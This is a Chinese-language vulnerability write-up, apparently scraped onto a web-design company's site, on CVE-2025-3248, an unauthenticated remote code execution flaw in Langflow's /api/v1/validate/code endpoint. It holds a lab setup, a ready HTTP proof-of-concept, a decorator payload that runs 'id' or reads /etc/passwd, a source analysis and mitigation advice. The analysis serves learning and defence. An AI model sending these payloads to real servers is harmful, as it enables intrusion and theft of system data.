锦州市网站建设_网站建设公司_页面加载速度_seo优化
2026/1/6 10:50:45 网站建设 项目流程

CVE-2025-3248

漏洞描述

Langflow 是一个基于 Python 的开源 低代码/可视化 平台,用拖拽式界面把 LLM 应用、Agent 工作流、RAG(检索增强生成)等“搭积木”式编排起来,并提供 Web/API 方式部署和调用。它常用于快速构建聊天机器人、知识库问答、自动化智能体流程、提示词工程实验等。

CVE-2025-3248 的核心问题是:Langflow 在 /api/v1/validate/code 这个用于“校验代码”的接口中,存在 未授权访问 且对用户输入的处理过程中触发了不安全的 Python exec()(代码执行)路径,导致攻击者无需登录即可构造请求实现 远程代码执行(RCE) ,进而完全接管服务器。该问题影响 1.3.0 之前版本,官方在 Langflow 1.3.0 中修复(包含为该端点补充认证/限制与更安全的执行策略等)。

字段 内容
漏洞类型 远程代码执行
漏洞编号 CVE-2025-3248
影响范围 Langflow 1.3.0 之前版本
漏洞等级 严重(Critical),CVSS v3.1:9.8
修复状态 已修复:升级至 Langflow 1.3.0 及以上;补丁方向包括给端点增加认证(如 JWT)及更安全的代码处理/校验机制

漏洞复现

环境搭建

使用docker搭建,vluhub中有做好的靶场

git clone https://github.com/vulhub/vulhub.git
cd vulhub/langflow/CVE-2025-3248
docker compose up -d

拉取源代码

wget https://github.com/langflow-ai/langflow/archive/refs/tags/1.2.0.zip

POC验证

POST /api/v1/validate/code HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 105
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: http://127.0.0.1:7860
Referer: http://127.0.0.1:7860/login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n  pass"}

image

漏洞分析

src/backend/base/langflow/api/v1/validate.py

@router.post("/code", status_code=200)
async def post_validate_code(code: Code) -> CodeValidationResponse:try:errors = validate_code(code.code)return CodeValidationResponse(imports=errors.get("imports", {}),function=errors.get("function", {}),)except Exception as e:logger.opt(exception=True).debug("Error validating code")raise HTTPException(status_code=500, detail=str(e)) from e

/api/v1/validate/code端点没做鉴权,该接口直接把请求体里的 code.code 传给 utils/validate.py:validate_code

utils/validate.py:validate_code

def validate_code(code):# Initialize the errors dictionaryerrors = {"imports": {"errors": []}, "function": {"errors": []}}# Parse the code string into an abstract syntax tree (AST)try:tree = ast.parse(code)except Exception as e:  # noqa: BLE001if hasattr(logger, "opt"):logger.opt(exception=True).debug("Error parsing code")else:logger.debug("Error parsing code")errors["function"]["errors"].append(str(e))return errors# Add a dummy type_ignores field to the ASTadd_type_ignores()tree.type_ignores = []# Evaluate the import statementsfor node in tree.body:if isinstance(node, ast.Import):for alias in node.names:try:importlib.import_module(alias.name)except ModuleNotFoundError as e:errors["imports"]["errors"].append(str(e))# Evaluate the function definitionfor node in tree.body:if isinstance(node, ast.FunctionDef):code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")try:exec(code_obj)except Exception as e:  # noqa: BLE001logger.opt(exception=True).debug("Error executing function code")errors["function"]["errors"].append(str(e))# Return the errors dictionaryreturn errors

该函数将code传给了ast.parse函数,并提取ast.Import和ast.FunctionDef内容,也就是解析提交内容中的import和函数定义。

流程分三步:

  1. ast.parse(code) :把用户上传的 Python 字符串解析成 AST(抽象语法树)。
  2. 遍历 tree.body 中的 ast.Import 节点, 实际调用 importlib.import_module() 。
  3. 遍历 tree.body 中的 ast.FunctionDef 节点, 把它单独编译成一个 Module 并 exec 。

虽然 validate_code 只对 FunctionDef 节点做 compile(..., "exec") + exec() ,但在 Python 里:

模块执行时,为了“定义一个函数对象”,Python 必须先 对装饰器表达式 / 默认参数表达式 / 部分注解表达式求值 。

所以即使函数体( body )不运行, 某些表达式还是会在定义阶段被执行 。

我们用一个demo来说明这个问题

demo1.py

@print("Decorator")
def func():print("func")

demo2.py

import demo1

运行demo2.py,发现先执行了装饰器的内容,在报错。也就是说在该阶段,代码被执行。

image

回到这个漏洞,如果我们把装饰器让ast.FunctionDef来加载,装饰器会被放入decorator_list,然后编译执行函数定义的时候,decorator_list里的装饰器也同样就会被执行。

payload如下:

@exec('raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')
def foo():pass

从 AST 视角看

AST(抽象语法树,Abstract Syntax Tree)是Python代码在解析过程中生成的一种树形数据结构,表示代码的语法结构。它是Python编译过程的一个中间表示形式,将源代码分解为更易于分析和操作的层次结构。

import astcode = """
@exec('raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')
def foo():pass"""tree = ast.parse(code)
print(ast.dump(tree,indent=2))

得到tree

Module(body=[FunctionDef(name='foo',args=arguments(),body=[Pass()],decorator_list=[Call(func=Name(id='exec', ctx=Load()),args=[Constant(value='raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')])])])

按 validate_code 的逻辑

image

第一个for循环,在tree.body 里只有一个 FunctionDef ,没有任何 ast.Import 节点。所以不会调用importlib.import_module(alias.name)​​

image

第二个for循环,if isinstance(node, ast.FunctionDef):满足,进入if分支。

compile 用于将字符串形式的 Python 源代码编译成代码对象(code object) ,本身不会执行代码。
编译后的代码对象可以交给 execeval 执行,常用于动态代码处理,但若来源不可信会带来严重安全风险。

code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")

把一个函数定义(包含装饰器)重新包装成一个“最小模块”,并编译成字节码,但并没有执行任何东西。

然后exec()执行字节码

raise Exception把输出作为异常信息抛出。由于发生了 raise Exception(...) exec(...) 调用没有正常返回;装饰器表达式求值过程中抛出的异常会一直往外冒,最后冒到 exec(code_obj) 那一层。

异常被 validate_code 捕获并记录

image

str(e) 的内容就是 subprocess.check_output(["cat", "/etc/passwd"]) 的输出

安全措施

升级到1.3.0

如果短期内不能升级到 1.3.0,临时措施:

阻断 /api/v1/validate/code 的公网访问

  • 通过防火墙或反向代理, 阻止外网访问 /api/v1/validate/code ,只允许内部受信网络访问

官方补丁

为/api/v1/validate/code端点添加了JWT认证

image

参考:

vulhub/langflow/CVE-2025-3248 at master · vulhub/vulhub

任何速度都不安全:在Langflow AI中滥用Python exec进行非认证RCE |Horizon3.ai

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询